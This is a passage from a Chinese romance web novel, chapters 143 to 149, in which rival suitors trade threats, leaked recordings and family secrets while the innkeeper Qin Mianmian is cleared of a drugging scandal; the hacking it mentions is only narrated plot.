医院还有值班的警察,虞宗辰只要不蠢,肯定就不会在警察面前多说什么。 但他本来也并没有指望他说什么,他所掌握的他的动向,只怕比他自己知道的都要多得多。 不一会儿,又有一个精明干练的女孩子走过来,正色道: “姚先生,贾芊芊的手机网络破解了,我们拿到了她发到网上的那段视频,以及她手机里储存的所有录音数据。” 姚祁眼睛蓦地一亮。 女孩子急忙举起电脑,把上面的音频播放给姚祁听。 众人纷纷停下手中的活,一时屋里安静非常。 只听贾芊芊甜腻腻的声音响起: “阿辰,给我吧……” 虞宗辰的声音很慌乱:“芊芊,这是在客栈,你清醒一点……” “阿辰,我就要你,我不管在哪里……” “芊芊你,你放手,我,我……芊芊,求你了……我受不了……” 贾芊芊却再没有声音了,只有虞宗辰的呼吸愈发粗重。 片刻后,他突然惊呼:“芊芊,你在拍视频?” 贾芊芊哈哈一笑。 “芊芊你疯了!就算要对付秦绵绵,也不用把自己搭进去吧!” 贾芊芊不说话,虞宗辰越发惊讶:“药是你自己下的?你自己喝下去的?芊芊你真的是疯了……” 贾芊芊笑起来:“算你聪明。这叫不入虎穴焉得虎子,这一回,我一定要把她彻底踩在脚底!” 虞宗辰还想说什么,却只听一阵呜呜声,随后只剩下两个人的呼吸声。 好一会儿,两个人才喘了口气,贾芊芊竟然还清醒着神智,开始拍摄昨天轰动全网的那段“自白”,再然后就是接下来不可描述的那段。 姚祁伸手掐掉了声音,女孩子连忙将电脑关上。 姚祁的脸上浮现出一种难以言说的神情,有冷笑,有嘲弄,眉梢眼角看起来更是十分的凉薄。 “做得好,奖。” 话音落下,立刻有财务跑着去办。不到一分钟,做好这件事的女孩子的手机就收到了转账信息。 女孩子瞄了一眼,差点一下子没绷住,她瞪大眼睛咬住嘴巴,很是控制了一下自己,才没露出激动的模样。 因为在姚祁手下做事的人都知道,姚先生最不喜欢的就是咋咋呼呼,哪怕事情做得再好,一旦喜怒形于色,就会遭到他的厌弃。 而姚先生出手也是向来很大方的,不然也没办法集齐这一屋子的人才。 这些人,几乎能算得上是国内顶尖的黑客了,不管多精密的仪器,他们都能破解,多牢固的防火墙,他们都能入侵。 这个世界上,基本上没有他们拿不到的信息。 贾芊芊作为贾家大小姐,手机上也是有特殊装置的,虽然姚祁派人在她的手机上植入了病毒,但她的防护做得很好,病毒一直未能入侵成功,直到刚才。 贾芊芊一定想不到,虽然她发在网上的那段掐头去尾的视频十分劲爆,但他却拿到了更加劲爆、更加完整的音频。 而他掌握的其实还不止这些,虞宗辰前些日子的日常行动,也都在他的掌握中。那些东西也都精彩得很,如果爆到网上,相信比得一百个影帝都更让虞宗辰出名。 而有了这些东西,已经足够到警局里去把秦绵绵捞出来了。 但是,他却没有立刻去。 相反,他离开了这间屋子,走到客厅里,悠悠然喝完了一杯酒。 他站在巨大的落地窗前,俯瞰着日头初升的大地,看着日光一点一点把海城彻底照亮。 他神情淡然又冷酷,端着酒杯,没有一点动作,似乎在等待着什么。 片刻后,忽然又有一个手下奔过来: “姚先生!客栈果然有动静,有人来了!” 手下打开电脑,客栈大堂的监控立刻呈现在屏幕上。 画面中,一个身着长袍、墨发束冠的高大男子急匆匆来到大堂,眼神最终停留在了大门上的封条上。 男人停顿了一下,转头到柜台,打开电脑。 这边,姚祁微微勾着唇,看着画面里男人的一举一动。 “我就知道你肯定会来。” 画面里,男人略显生涩地鼓捣了半天电脑,终于打开了客栈的监控,看到了之前发生的事情。 男人脸色立刻变得十分难看。 就在他思索着要做什么的时候,这边,姚祁忽然打开了通话按钮。 他哼笑一声,低声朝男人打了个招呼: “裴先生,别来无恙啊。” 第144章 来路不正 裴应见一怔,思考一瞬,才反应过来——这声音来自斜上方的监控探头。 没办法,他对这个时代的高科技产品到底还是有些生疏。 但,对面的那个人,就不一定了。 裴应见抬眼朝监控看去。 黑黢黢的监控探头完全看不出什么,但他知道,此时此刻,正有一个人隔着网络,居高临下地俯视着他。 对方用这种方式与他对话,与他那个时代的“千里传音”有些类似。 被传音的人因为完全看不到对方,却全然在对方的掌控之下,会产生一种不自觉的惶然。 因为全盘形势都被对方掌握,所以对方会产生一种极具压迫感的优势——而这正是对面那个人想要的。 而裴应见,只听了这简简单单的一句话,就已经知道对方是谁了。 他原本要迈出去的步子忽然停住,片刻后,朝监控探头露出一个笑容: “所有人都被带走审问了,姚先生为什么没去?” 姚祁笑笑: “裴先生不也没被带走么?对了,其实我一直都很好奇,裴先生来无影去无踪,神龙见首不见尾……所以你究竟是什么人,到底从哪儿来呢?” 裴应见也笑:“你猜呢?” 一边说,他一边拿着手机开始打字。 因为手和手机放在柜台下面,从监控看过来,并看不到他的动作。 但姚祁的警惕性却十分高。 他放下酒杯,按下按钮,厚重的窗帘从两侧覆盖过来,挡住了巨大的洒满阳光的落地窗。 屋子里一下子变得漆黑,只剩下电脑屏幕的一点幽光。 姚祁盯着屏幕里几秒钟没有动作的裴应见,忽然对手下摆摆手,打下一行字: 【去入侵客栈的网络。】 手下立刻领命而去。 一屋子的顶级黑客,不出一分钟,他们就会知道屏幕里的这个男人究竟在做什么。 但他并不知道,裴应见也不过是给一个人发出一条讯息而已。 而那个人的实力,并不比姚祁差。 等待的时间显得十分漫长。 裴应见微笑着再次抬眼,看向监控探头:“那么姚先生你呢?你也神龙见首不见尾,你又是什么来路?” 姚祁声音冷冷:“现在是我在问你。客栈被封,你却突然出现在客栈里。我想罗吉的父亲一定很有兴趣研究研究这到底是怎么回事。裴先生,怕不怕我打个110?” 但谁知,裴应见却对他的威胁丝毫没有反应,反而拉来凳子,施施然坐在了柜台里。 他看向电脑上的监控回放,目光停留在秦绵绵被带走前的画面上: “那我还要说声多谢了。正好,到了警局,就能看见绵绵了。” 一句“绵绵”,显然把对面气到了。 气势压人的姚祁竟然有十多秒钟没有回应。 半晌后,他忽然低声冷哼,语气降至冰点:“好了,我懒得跟你兜圈子了,摊牌吧。我这里有证据能证明掌柜的的清白,但我有一个条件。” “什么条件?” “你,退出。” 裴应见假作听不懂:“退出?退什么?怎么出?” 姚祁略略咬牙: “你的来路,其实我已经猜测出一二了。只是真相若是果真如此,那也太吓人了。而且这段时间我很忙,所以还没来得及去证实……但可以肯定一点,你来路不正。” “如果你继续留在掌柜的身边,一定会给她带来危险。我要求你退出,从今以后彻底消失,再也不要出现在客栈,再也不要出现在掌柜的面前。如果你能做到……我立刻把证据发给你。” 这话落下,裴应见终于把目光从屏幕上秦绵绵的身影上挪开,再次抬头看向监控探头: “姚先生这么笃定么?可我怎么知道你说的是真是假?或许你是在骗我上当呢?” 姚祁冷笑:“你也没有别的选择。我给你一分钟的时间考虑,现在开始计时。” 裴应见的脸色蓦地冷了下来。 被人威胁的感觉,的确不怎么样,何况这个人还不在他眼前,他甚至根本不知道姚祁此刻究竟在哪里。 但,不等一分钟的倒计时数完,裴应见却忽然拿起手机看了看,然后笑了: “姚先生好像对我的秘密很感兴趣?巧了,我对姚先生你的秘密,也很感兴趣。” 他晃了晃手机: “我这里的资料显示,姚先生你似乎在一家孤儿院生活了很长一段时间。作为京城姚家的继承人,你能跟我解释解释这到底是怎么回事吗?姚先生,似乎你的来路,也很不正啊。” 裴应见勾起一个微笑,这笑意里满带着得意,还颇有些欠揍的意味: “至于你接近绵绵的说辞,我也证实是假的了。姚家的祖辈根本没有借过秦家外婆的钱,绵绵的外婆借了那一百万另有用途。所以,你扯谎的原因,究竟是什么?” 那边,姚祁不说话了。 监控探头安静得好似从来没有人联络过。 而这边,裴应见却低头瞥向手机屏幕。 屏幕上,盛意给他发来一句话,让他此刻心情忽然好了起来: 【已确定姚祁位置,立刻出发去抓。】 入侵网络这方面,盛意的本事可能不如姚祁的手下,但抓人这件事,裴应见相信,盛意一定会让那位姚先生大吃一惊的。 时间一分一秒过去,几分钟,却好似过了好几个小时。 裴应见等了一会儿,继续开口:“姚先生,怎么不说话了?” 对面仍然没有动静,却传来一阵轻微的杂乱声。 裴应见心中暗动,面上不显:“如果我是你,我会考虑立刻把证据送给我。否则,等我揭了你的老底……” 然而,话还没说完,监控探头那边突然“啪”的一声响,接着再也没有了声音。 裴应见连呼几声,姚祁都再也没有回应。 两分钟后,裴应见突然接到了盛意的电话:“对不起裴先生,让他跑了。” 盛意向他道歉,称自己失职,没有拦住姚祁,让他逃脱了。时间也就相差一两分钟,但姚祁实力很强,说走就走,而且走得干干净净,让他连追踪都追踪不了。 裴应见神色淡淡:“不怪你,实在是我们这位姚先生,身上的秘密太多了。” 然而,才过了五分钟不到,那屋角的监控探头却再次响起声音。 姚祁的笑声轻佻又得意,带着车子行驶中的呼呼风声: “裴先生,你还有28秒时间考虑。” 第145章 裴先生是个无赖 姚祁的笑声里,有一种全盘尽在掌控的肆意。 裴应见望着监控探头,声音凉凉: “还是那句话,我怎么知道你不是在骗我?姚先生处心积虑,或许是另有所图呢。” 姚祁哈哈一笑: “裴先生这么多疑,跟掌柜的性子一点都不搭啊。好,为了显示我的诚意,我可以退一步。” 话音未落,裴应见的手机突然收到一条音频文件。 打开一听,竟赫然是出事当晚贾芊芊和虞宗辰的声音。 “裴先生可以搭配着热搜观看。如果还不放心的话,也可以把这段音频发给你的人,查查看到底是真是假。” 出乎姚祁意料之外,但似乎又在意料之中,裴应见完全没有受到激将,他果然去调查了。 刚回到客栈,还没完全弄明白到底发生了什么事,裴应见并不知道热搜的事情。 他打开了社交网络,看了热搜的来龙去脉,又直接把音频发给了盛意。 盛意很快回复说音频是完整的,没有剪辑合成的痕迹。 而这个音频,跟热搜上的贾芊芊自爆的那个视频又完全对得上。 最后,裴应见微微一笑: “姚先生……还真是厉害啊。” 姚祁得意道:“我手里的东西还多着呢,裴先生喜欢,我可以再给你发一点,比这些还要精彩呢。” 裴应见却并不答话。 姚祁哼声道:“东西已经到手了,提醒一下裴先生,你还有十秒的时间考虑。” 裴应见在手机上按了些什么,抬起头来:“考虑什么?” “用这个证据救下掌柜的,作为条件,你离开客栈,再也不许出现!” “哦……”裴应见拖长了音调,“那多谢了。” 姚祁一怔:“谢什么?” 裴应见莞尔:“谢姚先生看得起我,认定我是个君子啊。” 姚祁愣在那里。 下一秒,他的手下悚然低呼: “姚先生,不好了!他把音频卖给娱乐新闻媒体了!” 姚祁拿过手机一看,果然,那条音频赫然已经出现在了社交媒体上。 发布的都是一些小号,随便追查几个,就会发现这些小号隶属于不同的娱乐公司。 裴应见,他竟然把这条能救秦绵绵的音频,分别卖给了不同的娱乐媒体! 姚祁好半天没有说话。 身旁的手下也懊恼不已。 谁能想到,这个风度翩翩、气势迫人的裴先生,竟然会是一个无赖! 而监控画面里,裴应见却已经走到柜台旁的冰柜那,给自己取了一瓶冰可乐出来,自顾自地喝上了。 “相信有了这条音频,绵绵不用多久就可以放出来了。在这件事上,姚先生是头功一件,等绵绵回来,我会跟她汇报的,说不定她一高兴,还能给你点奖励……至于其他的么,我可从来也没有想过要答应你。” 姚祁沉默半晌,最终笑出了声。 “好,好,了不起。裴应见,咱们走着瞧!” …… 到市局又录了一次口供之后,钱老先生被放出来,回到了钱家别墅。 网上的事钱家人都已经知道了。 谁也没有想到,只不过是道个歉而已,竟然会闹出这么大的事情。 一向叱咤商场、雷厉风行的两个舅舅也没有什么主意,只能一左一右安慰着一直在哭的妹妹钱晓风。 一旁的虞俞因为插不上嘴,只好在旁边来回踱步。 “我看,这件事弄不好都是这个姓贾的小丫头捣的鬼!” 虞俞不愧是在娱乐圈摸爬滚打了一辈子的,一下子就猜中了要害。 而且他觉得,钱老先生是不会看错人的。他看秦绵绵是好的,那秦小姐就肯定没有问题。 但钱晓风却不这么认为。 她一把甩开擦眼泪的手帕: “你胡说什么!芊芊是阿辰的挚爱,她怎么会做这种事?好好的早不出事、晚不出事,偏偏到了那个客栈就出事,不是那个客栈有猫腻是什么!我不允许你诋毁芊芊,不允许你诋毁阿辰!” 虞俞顿时被怼得哑口无言。 偏偏两个堂兄还火上浇油: “晓风说得对,你还不赶紧给晓风道歉!” “阿辰和芊芊都还是孩子,他们能犯什么错?倒是那个姓秦的小丫头,把老爷子哄得一愣一愣的,我看不是个省油的灯!” 钱老先生就是这个时候回来的。 本来就已经身心俱疲的他,进了家门听到这些争吵,一下子就激动了。 没等说什么,就径直晕了过去。 吓得几人慌忙找医生。 但这次家庭医生也有点拿不准了,实在是因为这几天老爷子不断地受刺激,他也嘀咕。 最后,钱老先生终于被送进了医院。 第二天一早,留下值夜的堂兄之一钱忠因为太累,在旁边隔间睡着了。 而被赶回家睡觉、早晨应该来换班的钱晓风因为在睡美容觉还没起床赶来。 钱老先生醒了,感觉十分口渴,却连坐起来给自己倒杯水都做不到。 他想呼叫护士,但身体太过乏力,努力了半天,也没够得着近在咫尺的按铃。 钱老先生非常沮丧地跌回床上。 就在这个时候,一个年轻的声音响起: “老先生,您需要帮忙吗?您别动,我来!” 一个身材颀长的年轻男子快步走了进来。 乍一看,钱老先生恍惚间还以为是虞宗辰来了。 但仔细一看,却不是。不过两个人的身材是真的很像。 再仔细一看,这小伙子他竟然也认识。 “你是……小秦丫头客栈里的人?” 来人顿住脚步,显然也看清楚了病床上的钱老先生。 本来带着三分戏谑的眉间顿时皱起,俊脸上显出一丝不耐: “钱老先生,原来是你啊。” 来人正是姚祁。 姚祁看起来像是要来助人为乐的,但在看清楚需要帮助的是钱老先生之后,脸色一下就不好看了。 “怎么,钱家书香门第,这么有钱,连个护工都请不起吗?” 姚祁看了看在隔间睡得打鼾的钱忠,不屑道。 钱老先生顿时尴尬不已,看了看姚祁: “小伙子,坐坐啊。我知道你们都对我们钱家有气,唉,老头子我也没想到事情会弄成这样……到底是我对不起小秦丫头……你放心,警局那边我已经找人去打招呼了,肯定不会为难小秦丫头的,这件事我会尽快解决……” 姚祁撇撇嘴,心不甘情不愿地在床边坐了下来。 盯着钱老先生看了片刻: “说吧,是要喝水还是要上厕所?” 第146章 到底是哪个乖宝宝 钱老先生展颜笑了起来:“就知道你这个小伙子是个好心的!” 姚祁伺候钱老先生喝了水,又扶他上了厕所,还听他的话帮忙把手机递到他手里。 钱老先生似乎对他十分满意:“小伙子,叫什么名字呀?” 姚祁撇撇嘴:“您老先生又不跟我联姻,打听我名字做什么?” 钱老先生失笑摇头:“好一张利嘴啊。” 停了停,又道: “你这利嘴,倒是让我想起了一位故人。” 姚祁作势要起身:“那您慢慢想吧,我有事,先走了。” 钱老先生连忙把他叫住:“别急嘛年轻人,陪我老头子聊聊天,我一个人住院怪闷的。” 说着,还叫姚祁自己倒杯水来坐下,又说旁边柜子里有零食,让他随便吃。姚祁只倒了杯水喝了。 并且在钱老先生的不断询问之下,告知了自己到医院来的原因: “我家有个老管家,岁数大了,回老家养老。这不病了么,我去看望他一下。” “管家?那看来,你也不是普通人家出身了。” 姚祁自嘲一笑:“普通,怎么不普通呢,我最普通不过了。” 钱老先生盯着他若有所思,那目光颇有些深邃。姚祁甚至感觉,他似乎在透过他在看另一个人。 这种感觉让他很是不适。 最后,他终于坐不住,脚底抹油溜了。 然而,他走后,钱老先生却艰难起身,走到外面无人的走廊上,打了个电话出去。 “帮我查查小秦丫头客栈里的一个小伙子,对,就是那个有点像阿辰的小伙子。另外……”他想了想,似乎下定决心,“我这里有一个杯子,你帮我拿去做个鉴定。” 几个小时之后,鉴定结果发到了钱老先生的手机上。他看着那鉴定结果,忽然就热泪盈眶。 一旁,姗姗来迟正在对早餐挑三拣四的钱晓风发现了他的异样: “爸爸,你怎么了?爸爸,是不是哪里不舒服?” 钱老先生摇头说没事,却在钱晓风转头过去的时候,悄悄拾起她掉落在病床上的一根头发。 …… 如众人所料,裴应见卖给娱乐新闻的那条音频迅速在网上发酵。 警局那边也关注到了这个新证据。 第二天下午,罗小胖就收到了内部消息,秦绵绵要被放出来了。 但罗小胖只有一辆破车,带不下这么多人。 最后,在姚祁的强烈要求下,就只答应带他一起去接秦绵绵。 姜芙颇为愤愤:“幺鸡你是不是有点过分了?消失了两天不见人影,一回来就抢。再怎么说掌柜的那也是我的姐妹,什么时候轮到你了!” 姚祁脸皮颇厚,抢先坐上了车: “怎么轮不到?你们在想办法救掌柜的,我也在想办法啊。说不定这关键性证据就是我找到的呢。你小心掌柜的回来我告你一状,不敬功臣!” 姜芙气得冒烟:“就你?!我才不信!” 而就在这个时候,一旁的小巷里突然施施然走出一个人来,也不理会众人,直接走到车子另一旁,打开车门就坐了上去。 众人都看得一愣一愣的。 罗小胖惊道: “裴先生?你什么时候来的?” 裴应见淡定地回答:“刚到。” 转头又跟姜芙说:“别信他的话,这关键性的证据,是我放出去的。” 姚祁冷笑连连:“厉害厉害,刚到就能找到这么关键的证据了,真是厉害。” 裴应见针锋相对:“那要不然呢?姚先生你难道知道这证据的来历?” 姚祁顿时闭了嘴。 眼看两个人谁都没有要下车的意思,罗小胖只好带两个人一起去接秦绵绵。 路上,面对着近在咫尺的、微笑里面带着嘲弄的裴应见,姚祁十分难受,自然少不了阴阳怪气。 裴应见也不惯着他,他说一句他就怼一句。 而且他看起来似乎心情颇好,一点都不着恼,反而是姚祁越说越气急败坏。 罗小胖在前面开着车,越听越是心慌。 这两位大神在自己的车上,真的是让他一个头两个大。 所幸市局并不太远,他们很快接到了刚刚被放出来的秦绵绵。 罗小胖拿出早就准备好的水和湿巾,但等秦绵绵走过来才发现,有点多余。 被关了两天,连续经历了好几次审讯的秦绵绵,此刻看起来竟然也还神采奕奕的,一点也没有颓唐的样子。 “好么,小秦丫头,白让大伙儿担心了。看你这样子,在里面吃得好睡得好么!” “那还得多亏了有自己人关照。” 秦绵绵上了车,简单说了自己这几天的经历。 原来那天最后,罗正松支走了其他人,终于从秦绵绵这里问出了一点东西。 秦绵绵说出了那个似乎被掉包的小助理。 “你觉得那个小助理眼熟,像……姜飞飞?” 罗正松顿觉头大。 秦绵绵和姜家的纠葛,他来之前倒是也了解过,可是: “姜飞飞不是出国了么?” “是出国了,又不是死了,她就不能回来么?”秦绵绵笃定道,“虽然看不清脸,但我的直觉应该不会错,那就是姜飞飞。” “那这么说来,这件事确实有猫腻了。我这就派人去查。” 罗正松要走,却又被秦绵绵叫住: “还有一个人要查。” “谁?” “虞宗辰的经纪人,顾姐。” 半天之后,罗正松传来了消息。 姜飞飞果然回国了,而且那天晚上,没有人能说出她去了哪里。 小助理确实有猫腻,虽然现在没说,但相信很快就会说的。 “但还有一个坏消息……” “什么坏消息?” “从你房间的垃圾桶里找到一个小瓶子,里面检测出了药物成分。” 罗正松头疼地揉着眉心:“这些都是对你不利的指向性证据,要是再找不到对你有利的证据,恐怕……” 罗小胖听到这里,恨恨啐了一口: “这里面竟然还有姜飞飞的事,我呸!做坏事还挺讲究,还知道往屋里放证据栽赃嫁祸!” 秦绵绵微微一笑: “这很显然是顾姐放的,那天晚上只有她和钱老先生去过我的房间。钱老先生就算了,大家伙都相信他是不会做出这种下作事的。” 谁料姚祁却冷笑:“那也不一定啊。” 众人都看向他,姚祁却对一旁的裴应见冷哼:“看什么看!” 秦绵绵继续道: “本来这些东西都是对我不利的,但到了今天早晨,忽然被通知我可以走了。我才知道,原来网上又有了新的证据。” 她的目光在两人面上扫过。 “现在,让我来猜一猜,这个证据,到底是哪个乖宝宝拿到的啊。” 第147章 女子闺房说闯就闯 来的这一路上,气氛就够剑拔弩张的了。现在秦绵绵这么一问,这是直接要修罗场啊。 罗小胖当机立断,决定不掺和这种事,转头摸出手机低下头当鹌鹑。 但这边,姚祁忽然讥笑出声: “我知道!证据啊,是裴先生拿到的!” 罗小胖一惊。 他们刚才在客栈那可好像不是这么说的! 但谁知接下来,姚祁话锋一转: “掌柜的,我举报,咱们这位裴先生,为了拿到证据,把你给出卖了!” 秦绵绵也有些惊讶,她转头看了看裴应见: “哦?怎么出卖的?” “他呀,玩深情!为了拿到证据,主动提出退出!” “退什么,什么出?” 姚祁却不说话了。 倒是一旁的裴应见,忍不住笑了一下。 对于秦绵绵连说话方式都跟裴应见一样这件事,姚祁显然接受无能。 愣了片刻,才恶狠狠道: “他为了拿到证据,答应对方主动离开你身边,再也不见你!你说说,这货是不是装深情,是不是怂!” 罗小胖在驾驶座上跟手机大眼瞪小眼,连身体都藏进了座位里,可耳朵却没闲着。 听到这里,他悄悄不是很同意地摇了摇头。 不过话说回来,这修罗场可真精彩啊。 然而,下一秒,裴应见却径直抬手,伸向秦绵绵的头发。 他的手指因为常年练武,修长而有力,但他却只是轻微地碰了碰她的发梢,帮她把掉落在额前的一缕碎发捋了上去。 “我否认。”裴应见轻笑着说,“我从没答应过什么条件,姚先生是不是弄错了。” 姚祁被他突然上手这件事弄得简直七窍生烟,又对他点到为止、没把自己威胁他的事情说出来感到满意。 姚祁在内心冷笑,盘算着这个姓裴的虽然诡计多端,但好歹算是个男人,知道男人之间的事情应该男人们私下解决。 然而下一秒,他就后悔了。 因为裴应见接着说: “倒是姚先生有很多秘密,我想绵绵应该感兴趣。比如,姚先生其实是钱家私生子这件事……” 前座的罗小胖正在喝水,闻言没忍住,“噗”的一口喷了出来。 “你说啥?!” 秦绵绵看看裴应见,又看看脸色忽白的姚祁。 “开车——回家再说!” …… 然而,事情还没等几个人回到客栈,就已经爆炸了。 秦绵绵坐在车上,就刷到了新沸腾的热搜。 点进去一看,里面竟然直接爆料出了姚祁是钱家继承人的私生子的事,并且各种猜测之前贾芊芊和虞宗辰的音频就是姚祁发的,为的就是毁掉虞宗辰这个真正的钱家继承人。 一时间,钱家、虞宗辰、贾芊芊,还有姚祁,再一次都被推上了风口浪尖。 秦绵绵神情淡淡地把这件事说了,姚祁脸色难看,直接要求罗小胖停车。 下了车,他直接打了个车走了,也不知道去哪了。 此时天都已经擦黑了,罗小胖忍不住急道:“哎,回不回家吃饭啊!用不用给你留饭!” 裴应见淡淡一笑:“放心吧,姚先生这么有实力,不会受委屈的。” 秦绵绵看了他一眼,没说话,只是让罗小胖继续开车。 回去后面这一路,秦绵绵再也没跟裴应见说过话,裴应见的脸色肉眼可见地不好看了。 回到客栈,秦绵绵借口洗澡,直接上了二楼回自己房间,拿出手机联系盛意。 盛意神速一样,迅速把调查到的关于姚祁的一切告知了秦绵绵。 秦绵绵拿着手机,微微冷笑: “这些都已经告知裴先生了吧?” 那家伙一副运筹帷幄的样子,很显然知道的比她多得多。 盛意却立刻表忠心:“这些都是我刚查到的,请秦小姐指示!如果不需要告诉裴先生,那就不告诉!” 秦绵绵终于被他逗乐。 但盛意下一句让她又乐不出来了: “一切以秦小姐为先,这也是裴先生的指示!” 秦绵绵:“……” 根据盛意发来的资料,秦绵绵发现,姚祁此人还真是不简单。 他表面上是京城姚家的继承人,而如今姚家人都已故去,他其实就是千万家产的实际拥有者。 实则不然。 原来姚家原本有一个儿子,只是自小生病,因此一直未曾暴露人前。 十五岁那年,姚家这个儿子故去,姚氏夫妇就从孤儿院领养了一个跟儿子年龄相仿的少年,作为姚家的继承人。 这个孩子后来便是出现在人前的姚祁。 谁能想到,玩世不恭的富三代大少爷姚祁,在十五岁之前,都是在孤儿院里度过的。 秦绵绵看着那个孤儿院的名字,忽然又想起了一些从前的事。 正当她思索的时候,盛意又发来了一些资料。 这回是关于姚祁的谎言的。 原本姚祁来客栈,打的是报恩的名义。 他说自己爷爷曾经借过秦绵绵外婆一百万,这一百万助他东山再起,秦家外婆是姚家一家的大恩人。既然秦家外婆已经故去,那这份恩情就要报到秦绵绵身上。 所以姚大少爷到客栈免费打工不说,客栈遇到问题的时候,他也出过不少力。 但是现在盛意的这份资料上却说,当年秦家外婆借叶子舟爷爷的钱,其实是去做别的事情了,而且,还是个惊天动地的大事。 但这事盛意还没调查清楚,他说会继续追踪,争取搞明白事情的来龙去脉,让秦绵绵等好消息。 秦绵绵觉得这是题外话,就没太放在心上。她现在只对那个孤儿院挺感兴趣的。 放下手机,她转头去柜子里翻东西。就在这个时候,房门突然被敲响。 裴大侯爷的声音响起:“出来吃饭。” 简简单单的四个字,却好似带着许多委屈和不高兴,让人只听声音就能想象得到他说这句话时候的表情。 秦绵绵不由自主想象了一下,就笑出了声,随即又撇了撇嘴: “还没洗完澡呢!” 谁知下一秒,男人竟然就大喇喇推门而入了。 秦绵绵下意识地捂住自己: “女子闺房,说闯就闯啊,流氓!” 第148章 下楼吃饭 有一说一,秦掌柜的还真的是很少做出这种小女儿姿态呢。 但对面这位关注点却好像不在这里。 男人就这么面无表情地盯着她。 半晌,秦绵绵好像才反应过来,自己根本没洗澡,衣服还好好穿在身上呢。 她尴尬地咳了一声,放下双手: “那什么,你出去,我要洗澡了。” 裴应见却不为所动,站那不说话,但也不走。 秦绵绵:“……” 气氛莫名其妙就这么尴尬住了。 两个人你看着我,我看着你,谁也不肯先说话,就这么对峙着。 直到楼下传来罗小胖嘹亮的喊声: “裴先生……叫你喊掌柜的下来吃饭……你喊到哪里去了……” 裴应见这才被这声喊喊得回过神来。 他脸色略沉了沉,又道了一句:“下楼吃饭。” 然后转身就走。 谁知手腕却猛地被身后人拉住。 裴应见身形一滞,却又继续大步往前行。 但身后人却发了劲,硬是要把他留住。 他用力,她也用力,两个人都发了狠,新一轮的僵持又开始了。 当然,秦绵绵到底不可能是裴应见的对手,她自己也清楚。但裴应见更清楚,自己并不可能真的使出全力。 僵持到了一个临界点,秦绵绵率先开口: “你给我站住!” 裴应见甩开她的手,还是不回头:“掌柜的又有什么吩咐?” 秦绵绵咬了咬牙,终于决定还是卖这位大侯爷一个面子,先给他一个台阶下: “你在生我的气?” “不敢。” “你就是在生气。”秦绵绵哼一声,“我倒是奇怪了,我还没生你的气,你有什么理由又生我的气?” 裴应见忽然好像气笑了,转过头来望住她:“那我倒更想知道,掌柜的又生我什么气?” 秦绵绵咬咬牙:“我问你,你跟姚祁之间到底斗什么?” “他潜伏在客栈,居心不良,我不过是把他揪出来,还客栈一个安宁罢了。” 秦绵绵:“我看不是吧。” 裴应见微微偏头:“就是。” 片刻后,又道:“你为这种深藏不露的黑心家伙跟我生气,才是没有道理……” 这句话话音不大,还有点阴阳怪气的,秦绵绵甚至还从中听出了一丝委屈。 霎时间,她心里立刻有了一个想法,这家伙,他该不会是在…… 但她立刻就把这想法给压了下去。 转而道:“我气的是你凡事没跟我商量。” 谁知裴应见却微微冷笑:“你气的才不是这个。” 秦绵绵:“……” 得,两个人说来说去,又说岔了,好像根本就没在一个点上。 就在这个时候,罗小胖突然跑了上来,推门而入: “掌柜的,不好了,出事了……” 但见两个人似乎正在谈论什么要紧事,罗小胖又一时尴尬住,说也不是,不说也不是。 秦绵绵见他手里拿着个手机,便上前接过,只见上面是一个新闻的视频,拍的却正是姚祁。 姚祁从车上下来,径直被几个便衣的警员给带走了。 而看地点,正是海城市区内,距离姚祁从他们车上下去的地方并不远。 也就是说,姚祁打车走了之后没多久,就被警察拦下带走了。 而这很显然就是因为裴应见发布的那个爆料。 因为这个视频,热搜又爆了。 网友们纷纷猜测,整件事从始至终全都是姚祁的手笔。 他故意潜伏在秦绵绵身边,为的就是寻找机会打击虞宗辰。 而现在他终于得手了,虞宗辰恶评缠身,还面临着牢狱之灾,钱家还会不会认他这个继承人,还真的不好说了。 但秦绵绵却看这个视频看得一阵皱眉。 罗小胖挑挑眉毛:“掌柜的,你……该不会还想去捞姚祁吧……不是我劝你,这到底是人家豪门恩怨。” 何况他们客栈还在这其中当了好几次炮灰。 裴应见看看罗小胖,没说话,转过头去,连秦绵绵也不看了。 很显然,他是很认同罗小胖的话的。 但,秦绵绵知道的东西,他们却并不知道。 此时此刻,她觉得还不是说的时候。 秦绵绵望着姚祁被带走的画面,轻轻叹了口气。 但谁知这口气却忽然惹毛了裴大侯爷: “怎么,你还替他委屈上了么?这不过都是他自导自演罢了!” 秦绵绵张口欲说什么,裴应见直接甩袖子走了: “不相信就自己拿手机问!” 男人脚步快绝,一转眼就没了踪影。秦绵绵反应过来,气得瞪大眼睛。 罗小胖哪见过这种阵仗,直觉自己再留下去,很可能会成为某人发脾气的牺牲品,于是也迅速溜了。 秦绵绵平复了一下心绪,拿起手机就去联系盛意。结果盛意就把那天去捉姚祁,但没捉到被他跑了还被他挑衅的事情说了。 二十分钟后,秦绵绵洗好澡,换好衣服,终于下楼来了。 众人连忙起身迎她,给她腾位置,准备饭菜。 只有大侯爷一人撇过头去不看她,专心吃饭。 秦绵绵却扑通一声,在他旁边重重坐下。 众人见状,你看看我,我看看你,立刻眼观鼻鼻观心,齐刷刷低头吃饭。 裴应见的碗上面却忽然伸过来一双筷子,夹了他最喜欢吃的菜过来。 他呼了口气,终于转过头来,却一眼撞见秦绵绵似笑非笑的模样: “好了,吃饭吧。” 男人也不说话,又低头吃。 但却在片刻后,迅速夹起她夹过来的菜,心满意足地吃进了嘴里。 …… 客栈被封了两天,景区也受到了波及,一整个没有了游客。 赵立生却心态十分好,干脆关闭了景区,直接给自己放了一礼拜的假,跟家人旅游去了。 景区的摊主老板们见状,也纷纷放假,还在秦绵绵出来之后各自上门慰问,顺便蹭饭。 客栈没有生意,大家伙也都乐得清闲,唠嗑的唠嗑,有的干脆打起了麻将。 但罗小胖却最忙。 除了给众人做饭,他还得负责打探消息。 每天第一时间从警局探听消息,还得整天盯着手机,时刻关注有没有最新热搜。 而警局里的姚祁也不负众望,每一天都给到了他们新的“惊喜”。 第149章 飙戏 姚祁在警局里并不配合,据说他一改从前的乖巧形象,直接变成了一块难啃的硬骨头,每次审讯都把罗正松气得七窍生烟,又拿他没有办法。 连续审讯了三四天,却一点进展都没有,上面给的压力又太大,直接把罗厅弄得焦虑得不行。 而姚祁的人虽然在里面,他外面的手下却也没闲着,这几天社交媒体上是一天一个爆料,直接把网友们都给爆蒙了。 不是爆出虞宗辰和贾芊芊早有猫腻,附带开房和亲热视频; 就是晒出虞宗辰默许贾芊芊霸凌其他女演员的证据; 